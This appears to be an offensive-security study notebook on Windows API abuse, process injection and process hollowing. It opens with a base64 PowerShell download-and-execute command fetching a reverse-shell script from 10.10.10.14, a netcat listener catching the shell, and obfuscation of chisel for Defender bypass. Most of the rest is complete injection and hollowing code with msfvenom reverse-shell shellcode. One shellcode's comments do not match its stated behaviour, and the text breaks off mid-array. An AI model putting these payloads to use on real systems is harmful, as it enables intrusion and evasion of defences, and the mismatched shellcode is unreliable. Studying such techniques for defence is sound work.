aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.10 63157
PS C:\Windows\System32>
Go Binaries Obfuscation for Defender Bypass

# Example
go install mvdan.cc/garble@latest
git clone https://github.com/jpillora/chisel.git
cd chisel
garble -tiny -literals -seed=random build main.go
Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities

Windows API
What is Windows API?
> The Windows API provides native functionality to interact with key components of the Windows operating system.
Windows API Components
Win32 API Top down list
| Layer | Explanation |
| API | A top-level/general term or theory used to describe any call found in the win32 API structure. |
| Header files or imports | Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address. |
| Core DLLs | A group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem. |
| Supplemental DLLs | Other DLLs defined as part of the Windows API. Controls separate subsystems of the Windows OS. ~36 other defined DLLs. (NTDLL, COM, FVEAPI, etc.) |
| Call Structures | Defines the API call itself and parameters of the call. |
| API Calls | The API call used within a program, with function addresses obtained from pointers. |
| In/Out Parameters | The parameter values that are defined by the call structures. |
Common Windows API's
Below is a list of some common Windows API's
| Component | Description |
|---|---|
| Core Libraries | |
| Kernel32.dll | Provides core system functionality, including process and thread management, memory management, file operations, synchronization, and system time. |
| User32.dll | Offers user interface functions for creating and managing windows, handling input events, drawing graphics, and interacting with user controls. |
| Gdi32.dll | Provides graphics device interface functions for drawing and manipulating graphical objects, such as lines, curves, fonts, and images. |
| Shell32.dll | Supports shell operations, including file and folder manipulation, desktop management, shortcut creation, and accessing system icons. |
| Advapi32.dll | Offers advanced system services, such as registry access, security management, event logging, user account management, and cryptographic functions. |
| Comdlg32.dll | Provides common dialog functions for opening and saving files, selecting colors and fonts, and displaying standard system dialogs. |
| Wininet.dll | Enables internet-related operations, including HTTP/FTP communication, cookie management, URL handling, and caching. |
| Networking | |
| Ws2_32.dll | Offers functions for network socket programming, including creating and managing sockets, sending and receiving data over TCP/IP, and DNS resolution. |
| Netapi32.dll | Supports network management and administration, including accessing network resources, user and group management, and domain operations. |
| Security | |
| Secur32.dll | Provides security-related functions, including authentication services, encryption and decryption, credential management, and secure channel establishment. |
| Crypt32.dll | Supports cryptographic operations, such as generating and verifying digital signatures, encrypting and decrypting data, and managing certificates. |
| UI Automation | |
| Uiautomationcore.dll | Enables accessibility features and automation of user interface elements for assistive technologies and application testing. |
| Windows Controls | |
| Comctl32.dll | Offers common controls, such as buttons, list views, tree views, progress bars, and tab controls, to enhance the user interface of Windows applications. |
| Winmm.dll | Provides multimedia functions for audio and video playback, MIDI control, waveform audio manipulation, and timer management. |
| DirectX | |
| Direct3D | Enables 3D graphics rendering, including creating and managing rendering devices, rendering pipelines, textures, and shaders. |
| DirectInput | Supports input from keyboards, mice, joysticks, and other gaming devices for game development and interactive applications. |
| Miscellaneous | |
| Ole32.dll | Supports COM (Component Object Model) functionality, including object creation, marshaling interfaces, and inter-process communication. |
| Shlwapi.dll | Provides utility functions for string manipulation, file and path operations, URL handling, and registry access. |
Operating System Libraries
Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of ASLR (Address Space Layout Randomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: P/Invoke and the Windows header file.
Windows Header File:
The Windows header file (windows.h) provided by Microsoft is a solution to overcome ASLR (Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call Win32 functions. It takes care of obtaining function addresses or pointers for us.
Example:
#include
P/Invoke:
P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.
Example:
using System;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
...
}
In the above code, we import the user32 DLL using the attribute [DllImport].
Note: The function declaration is not complete yet; we need to define it externally. The extern keyword informs the runtime about the DLL we imported. Here's an example of creating the external method:
using System;
using System.Runtime.InteropServices;
public class Program
{
...
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}
Now, we can invoke the function MessageBox as a managed method, even though it's an unmanaged function from the Win32 API.
API Call Structure
Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.
WriteProcessMemory API call as an example:
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );
C API Implementation
The windows.h header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.
#include
Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using CreateWindowExA.
HWND CreateWindowExA(
[in] DWORD dwExStyle, // Optional windows styles
[in, optional] LPCSTR lpClassName, // Windows class
[in, optional] LPCSTR lpWindowName, // Windows text
[in] DWORD dwStyle, // Windows style
[in] int X, // X position
[in] int Y, // Y position
[in] int nWidth, // Width size
[in] int nHeight, // Height size
[in, optional] HWND hWndParent, // Parent windows
[in, optional] HMENU hMenu, // Menu
[in, optional] HINSTANCE hInstance, // Instance handle
[in, optional] LPVOID lpParam // Additional application data
);
Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to CreateWindowsExA.
HWND hwnd = CreateWindowsEx(
0,
CLASS_NAME,
L"Hello THM!",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL
);
Commonly Abused API Calls
| API Call | Explanation |
| LoadLibraryA | Maps a specified DLL into the address space of the calling process |
| GetUserNameA | Retrieves the name of the user associated with the current thread |
| GetComputerNameA | Retrieves a NetBIOS or DNS name of the local computer |
| GetVersionExA | Obtains information about the version of the operating system currently running |
| GetModuleFileNameA | Retrieves the fully qualified path for the file of the specified module and process |
| GetStartupInfoA | Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process) |
| GetModuleHandle | Returns a module handle for the specified module if mapped into the calling process's address space |
| GetProcAddress | Returns the address of a specified exported DLL function |
| VirtualProtect | Changes the protection on a region of memory in the virtual address space of the calling process |
Abusing Windows Internals
The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM (Component Object Model), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs (Dynamic Link Libraries), and the PE (Portable Executable) format.
Injection types
| Injection Type | Function |
| Process Hollowing | Inject code into a suspended and “hollowed” target process |
| Thread Execution Hijacking | Inject code into a suspended target thread |
| Dynamic-link Library Injection | Inject a DLL into process memory |
| Portable Executable Injection | Self-inject a PE image pointing to a malicious function into a target process |
Process Injection (Shellcode injection)
Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.
A process houses an application and has its own memory space, while threads execute application code within a process.
Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.
Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.
We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.
For remote thread creation, we use CreateRemoteThread API.
At a high level, shellcode injection can be broken up into four steps:
- Open a target process with all access rights.
- Allocate target process memory for the shellcode.
- Write shellcode to allocated memory in the target process.
- Execute the shellcode using a remote thread.
- Open a target process with all access rights:
- Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe".
- Use a function like OpenProcess() to open the target process with the necessary access rights.
For example:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
// Error handling
}
- Allocate target process memory for the shellcode:
- Determine the size of the shellcode you want to inject.
- Use a function like VirtualAllocEx() to allocate memory within the target process.
For example:
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
// Error handling
}
- Write shellcode to allocated memory in the target process:
- Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().
For example:
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
// Error handling
}
- Execute the shellcode using a remote thread:
- Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.
- Use a function like CreateRemoteThread() to create the remote thread.
For example:
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
// Error handling
}
The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.
c++ example of shellcode injection into the "notepad.exe"
Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API:
#include
#include
// The shellcode to be injected (example: display a message box)
unsigned char shellcode[] =
"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x2e\x65\x78\x65" // push 0x6578652e (ASCII string: ".exe")
"\x68\x63\x6d\x64\x2e" // push 0x2e646d63 (ASCII string: "cmd.")
"\x8b\xcc" // mov ecx, esp
"\x6a\x44" // push 0x44
"\x6a\x01" // push 0x01
"\x51" // push ecx
"\xff\xd0" // call eax
"\x83\xc4\x0c" // add esp, 0x0c
"\x31\xc0" // xor eax, eax
"\x50" // push eax
"\x68\x6e\x6f\x74\x65" // push 0x65746f6e (ASCII string: "note")
"\x68\x65\x70\x61\x64" // push 0x64617065 (ASCII string: "epad")
"\x8b\xcc" // mov ecx, esp
"\x6a\x00" // push 0x00
"\x51" // push ecx
"\xff\xd0"; // call eax
int main() {
// Open the target process (notepad.exe)
DWORD targetProcessId;
HWND hwndNotepad = FindWindowA(NULL, "Untitled - Notepad");
if (hwndNotepad != NULL) {
GetWindowThreadProcessId(hwndNotepad, &targetProcessId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
std::cout << "Failed to open target process." << std::endl;
return 1;
}
// Allocate memory in the target process
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
std::cout << "Failed to allocate memory in the target process." << std::endl;
CloseHandle(hProcess);
return 1;
}
// Write the shellcode to the allocated memory
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
std::cout << "Failed to write shellcode to the target process." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Execute the shellcode in the target process by creating a remote thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
std::cout << "Failed to create a remote thread in the target process." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
// Wait for the remote thread to finish
WaitForSingleObject(hThread, INFINITE);
// Cleanup
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
std::cout << "Shellcode injected successfully!" << std::endl;
} else {
std::cout << "Notepad process not found." << std::endl;
return 1;
}
return 0;
}
Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code.
The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements.
C# example
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
// Writes data to an area of memory in a specified process
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
// Creates a thread that runs in the virtual address space of another process
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Automatically obtain process ID
Process[] localByName = Process.GetProcessesByName("explorer");
if (localByName.Length == 0)
{
Console.WriteLine("No explorer process found.");
return;
}
int targetProcessId = localByName[0].Id;
// Obtain a handle to the target process
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
// Allocate memory in the target process's address space
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Define the shellcode bytes to inject
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x48,0x8b,
0x52,0x20,0x56,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};
// Write the shellcode to the allocated memory in the target process
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
// Create a remote thread in the target process to execute the shellcode
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Process Hollowing
This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE (Portable Executable) data and sections into the process.
The code below performs the following steps:
- It creates a new process (in this case, Notepad) in a suspended state.
- It opens a malicious executable file.
- It reads the headers of the malicious file to understand its structure.
- It unmaps the legitimate code from the process memory.
- It maps sections of the malicious file into the process memory.
- It sets the entry point of the process to the malicious code.
- Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.
Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.
#include
#include
// Function to read the headers of the malicious image
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
// Read the DOS header
IMAGE_DOS_HEADER dosHeader;
DWORD bytesRead;
if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
return false;
// Verify the DOS signature
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
return false;
// Allocate memory for the DOS header and copy the data
*ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
if (*ppDosHeader == NULL)
return false;
memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));
// Move the file pointer to the NT headers
if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
return false;
// Read the NT headers
IMAGE_NT_HEADERS ntHeaders;
if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
return false;
// Verify the NT signature
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
return false;
// Allocate memory for the NT headers and copy the data
*ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
if (*ppNtHeaders == NULL)
return false;
memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));
return true;
}
// Function to un-map legitimate code from process memory
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Unmap the image from process memory
if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
return false;
return true;
}
// Function to map sections of the malicious image into process memory
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Iterate over each section in the image
IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i FileHeader.NumberOfSections; i++) {
// Calculate the section virtual address and size
LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;
// Allocate memory for the section in the target process
LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL)
return false;
// Read the section data from the file
DWORD bytesRead;
if (!ReadFile(hFile, remoteMemory, sectionSize, &bytesRead, NULL) || bytesRead != sectionSize)
return false;
}
return true;
}
// Function to set the entry point for the malicious code
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
// Calculate the base address of the image
LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
// Calculate the entry point address
LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
// Update the thread context to set the new entry point
CONTEXT context;
context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hProcess, &context);
context.Eip = (DWORD)entryPoint;
SetThreadContext(hProcess, &context);
}
int main() {
// Step 1: Create a target process in a suspended state
STARTUPINFOA startupInfo = { sizeof(startupInfo) };
PROCESS_INFORMATION processInfo;
if (!CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo)) {
std::cout << "Failed to create target process." << std::endl;
return 1;
}
// Step 2: Open the malicious image file
HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cout << "Failed to open malicious image." << std::endl;
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 3: Read the headers of the malicious image
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
if (!ReadImageHeaders(hFile, &pDosHeader, &pNtHeaders)) {
std::cout << "Failed to read image headers." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 4: Unmap legitimate code from process memory
if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
std::cout << "Failed to un-map legitimate code from process memory." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 5: Map sections of the malicious image into process memory
if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
std::cout << "Failed to map malicious sections into process memory." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
// Step 6: Set the entry point for the malicious code
SetEntryPoint(processInfo.hProcess, pNtHeaders);
// Resume the target process to execute the malicious code
if (ResumeThread(processInfo.hThread) == -1) {
std::cout << "Failed to resume the target process." << std::endl;
CloseHandle(hFile);
TerminateProcess(processInfo.hProcess, 0);
return 1;
}
std::cout << "Process hollowing completed successfully!" << std::endl;
// Cleanup
CloseHandle(hFile);
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
C# process hollowing from defcon27
See "Defcon - Writing custom backdoor payloads with C#" above for more info.
defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub
Lab 1 - Starting and suspending a process
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
public class Program
{
// P/Invoke declarations for kernel32.dll functions
// Opens an existing thread object
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
// Suspends the execution of a thread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
// Resumes the execution of a thread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
// Constant value for thread access rights
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// Specify the process to start
string proc = "msiexec.exe";
// Start the specified process
Process newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
Console.WriteLine("Press any key to suspend the process ...");
Console.ReadKey();
Console.WriteLine("Suspending process...");
// Iterate over each thread in the process
foreach (ProcessThread thread in newproc.Threads)
{
// Open the thread to get a handle
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
// If the thread handle is invalid, break the loop
if (pOpenThread == IntPtr.Zero)
{
break;
}
// Suspend the thread's execution
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
Console.WriteLine("Press any key to resume the process ...");
Console.ReadKey();
Console.WriteLine("Resuming process...");
// Iterate over each thread in the process again
foreach (ProcessThread thread in newproc.Threads)
{
// Open the thread to get a handle
IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
// If the thread handle is invalid, break the loop
if (pOpenThread == IntPtr.Zero)
{
break;
}
// Resume the thread's execution
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}
Lab 2 - Getting a shell
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;
public class Program
{
// Constants for process access flags
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
// Importing necessary functions from kernel32.dll and ntdll.dll
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
// Constants for memory allocation and protection
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// Shellcode generated using msfvenom
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00, 0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,
